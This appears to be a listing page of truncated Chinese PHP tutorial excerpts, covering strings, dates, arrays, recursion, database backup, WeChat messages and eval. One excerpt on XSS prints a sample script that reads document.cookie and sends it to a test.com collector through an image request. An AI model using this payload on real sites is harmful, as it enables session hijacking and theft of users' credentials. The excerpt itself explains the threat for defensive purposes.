Time of Update: 2016-07-13
在介紹變數時,我明確指出PHP具有整型和浮點型(小數)數字類型。但是,依據我的經驗,這兩種類型都可以歸類到一般的數字之下(在極大程度上是這樣的)。下面列舉下PHP中有效數字類型的變數:8 3.14 10980843985 -4.2398508 4.4e2 注意:這些值永遠不會用引號括起來(如果這樣做,它們就是含有數值的字串,在連接字串例子中就有一個這樣的例子),也不能用逗號來表示千位分隔字元(千位分隔字元例子:
Time of Update: 2016-07-13
【1】單引號和雙引號在處理變數的時候做法:括在雙引號內的變數會解釋出值,但是括在單引號內則不做處理,直接輸出; 【2】如果在語句中要轉義操作,那麼就一定要用雙引號了。比如,轉定義單引號時,寫成這樣的話:$a = ‘He\’s name is Huige.’ ; 程式會把He\’s name is Tom.原封不動的顯示出來,如果這樣寫: $a = “He\’s name is Huige.”;
Time of Update: 2016-07-13
字串只是一塊用引號括起來的字元:字母、數字、空格、標點符號,等等。下面列出的全都是字串:'Huige'"In watermelon sugar" '100' 'August 2, 2011' FAQ:【1】在建立字串時,可以使用單引號或雙引號封裝字元,此外,必須在字元的開頭和末尾使用相同類型的引號。【2】如果在字串中間出現相同的引號,可以通過在有問題的字元(這裡有問題的字元是雙引號,以後還會瞭解到其他的有問題字元)前面放置一個反斜線,它進行轉義:
Time of Update: 2016-07-13
複製代碼 代碼如下: //通常用於定製服務的時候使用,比如包月會員,包年等等 //擷取目前時間過一個月的時間,以DATETIME格式顯示 date('Y-m-d H:i:s',strtotime('+1 month')) //擷取目前時間過一個月的時間,以時間戳記格式顯示 strtotime(date('Y-m-d H:i:s',strtotime('+1 month'))) //以下是年,月,周,天,時,分秒的用法 date("Y-m-d H:i:s", strtotime(" +2
Time of Update: 2016-07-13
有時前台頁面要允許動態增加/刪除某項屬性的多個值,比如向書架中添加書本,要可以動態增加或者刪除書本。 前台頁面的表單中會有多個input元素,如下: 複製代碼 代碼如下: 當a.php頁面收到表單資料時,可以利用$books =
Time of Update: 2016-07-13
【PHP公眾平台開發系列】01.配置介面02.公眾平台範例程式碼分析03.訂閱事件(subscribe)處理04.簡單回複功能開發05.天氣預報功能開發06.翻譯功能開發07.聊天機器人功能開發 08.自訂菜單功能 09.資料庫操作
Time of Update: 2016-07-13
複製代碼 代碼如下: set_time_limit(0); function tree($directory) { $mydir=dir($directory); echo " "; while($file=$mydir->read()){ if((is_dir("$directory/$file")) AND ($file!=".") AND ($file!="..")) { echo "$file "; tree("$directory/$file"); } else { echo
Time of Update: 2016-07-13
靜態變數只存在於函數範圍內,靜態變數只存活在棧中。一般的函數內變數在函數結束後會釋放,比如局部變數,但是靜態變數卻不會。下次再調用這個函數的時候,該變數的值會保留下來。 靜態變數的基本用法 1. 在類中定義靜態變數 [存取修飾詞] static $變數名; 2. 如何訪問靜態變數 如果在類中訪問 有兩種方法 self::$靜態變數名 , 類名::$靜態變數名 如果在類外訪問: 有一種方法 類名::$靜態變數名 例子 複製代碼 代碼如下: class Child{ public $name; //
Time of Update: 2016-07-13
在foreach中迴圈查詢資料代碼量比較少,但是效能比較低,好點的解決辦法是將id收集起來,用in一次性查詢,但是這引發了資料結構不是我們用PHP內建的函數可以合并的,今天測試了一下: 使用下面的位元組寫的函數可以解決 從資料庫中取出來的資料總是或多或少不符合我們心目中的資料結構,類似於下面的倆個數組,要形成SQL中類似於left join後兩個數組合并: 複製代碼 代碼如下: $test1 = Array( 0 => Array( 'id' => 9478137, 'create_time'
Time of Update: 2016-07-13
有的時候刪除資訊的時候,需要把這條資訊下的所有的都刪除,這個時候就需要遞迴刪除了。下面是我在做部門管理中的刪除部門功能的時候寫的一段遞迴刪除一個部門以及它的所有子部門的一段代碼。僅供大家參考和自己以後備用。 下面是我的一段代碼的展示: 複製代碼 代碼如下: /* * 修改一條部門資訊 */ function del($bumen_id){ $sql="select bumen_id from lxsm_bumen where topbumen_id=".$bumen_id;
Time of Update: 2016-07-13
遍曆目錄,結果存入數組。支援php4及以上。php5以後可用scandir()函數代替while迴圈。複製代碼 代碼如下:/*** @param string $dir* @return array*/function my_scandir($dir){ $files = array(); if ( $handle = opendir($dir) ) { while ( ($file = readdir($handle)) !== false ) { if ( $file != "..
Time of Update: 2016-07-13
複製代碼 代碼如下:/** * Database Backup還原類 * @author xialeistudio * Class DatabaseTool */class DatabaseTool{ private $handler; private $config = array( 'host' => 'localhost', 'port' => 3306, 'user' => 'root', 'password' => '', 'database' => 'test',
Time of Update: 2016-07-13
1.構造提供的XML格式的音樂訊息音樂的XML格式是這樣的:複製代碼 代碼如下: 12345678 我們寫個函數將資料轉換成這樣的格式,這裡面主要的資料是MusicUrl和HQMusicUrl裡面的資料,前者普通品質的音樂,後面HQ是高品質的,wifi下會優先播放HQ的。複製代碼 代碼如下:private function transmitMusic($object,
Time of Update: 2016-07-13
複製代碼 代碼如下:/** * 加密解密類 * 該演算法僅支援加密數字。比較適用於資料庫中id欄位的加密解密,以及根據數字顯示url的加密。 * @author 深秋的竹子 * @version alpha * @加密原則 標記長度 + 補位 + 數字替換 * @加密步驟: * 將a-z,A-Z,0-9 62個字元打亂,取前M(數字最大的位元)位作為 標記長度字串,取第M+1 到第M+10位為數字替換字串,剩餘的為補位字串 * 1.計算數字長度n,取亂碼的第n位作為標記長度。 *
Time of Update: 2016-07-13
注意注釋部分的文字介紹哦~複製代碼 代碼如下://執行個體化一個數組$array = array();//數組由兩部分組成 如下//array(鍵名[key]=>值[value])//鍵名一般用與索引//類型可以為 int 或 字串[int是什麼可以查php手冊]//所以可以這樣寫//$array = array(0=>'a',1=>'b');//你也可以這樣寫//array會自動補充索引鍵名,預設是 int值 由0開始$array = array('a','b');//測試 不能用echo
Time of Update: 2016-07-13
我們來舉一個例子:複製代碼 代碼如下:$arr = array('a','b','c','d'); unset($arr[1]); print_r($arr); ?>我之前想象的是unset之後,數組$arr應該會壓縮數組以填補缺少的元素位置,但print_r($arr)之後,結果卻不是那樣的,最終結果是 Array ( [0] => a [2] => c [3] => d );如果是這樣的話,那我們就來看看數字數組的形式複製代碼 代碼如下:$arr = range(5,10,4);
Time of Update: 2016-07-13
以下就是php動態產生函數樣本,樣本中用到了eval函數,我感覺如果伺服器上允許使用者運行這樣的函數是非常危險的複製代碼 代碼如下:$a['a']=1;$a['b']=1;$a['c']=1;$str="function a(){global \$a;if(\$a['a']==1 && \$a['b']==1 && \$a['c']==1){return 'OK';}else{return 'ERR';}}";eval($str);if(a()=="OK"){ echo
Time of Update: 2016-07-13
php的引用(就是在變數或者函數、對象等前面加上&符號),在PHP 中引用的意思是:不同的名字訪問同一個變數內容。與C語言中的指標是有差別的.C語言中的指標裡面儲存的是變數的內容,在記憶體中存放的地址。1.變數的引用PHP 的引用允許你用兩個變數來指向同一個內容複製代碼 代碼如下: $a="ABC"; $b =&$a; echo $a;//這裡輸出:ABC echo $b;//這裡輸出:ABC $b="EFG"; echo $a;//這裡$a的值變為EFG
Time of Update: 2016-07-13
xss的概念就不用多說了,它的危害是極大的,這就意味著一旦你的網站出現xss漏洞,就可以執行任意的js代碼,最可怕的是攻擊者利用js擷取cookie或者session劫持,如果這裡麵包含了大量敏感資訊(身份資訊,管理員資訊)等,那完了。。。如下js擷取cookie資訊:複製代碼 代碼如下:url=document.top.location.href;cookie=document.cookie;c=new Image();c.src='http://www.test.com/c.php?c='+
Time of Update: 2016-07-13
一、ImageMagick是什麼ImageMagick是一套功能強大、穩定而且免費的工具集和開發包,可以用來讀、寫和處理超過185種基本格式的圖片檔案,包括流行的TIFF, JPEG, GIF, PNG, PDF以及PhotoCD等格式。利用ImageMagick,你可以根據web應用程式的需要動態產生圖片,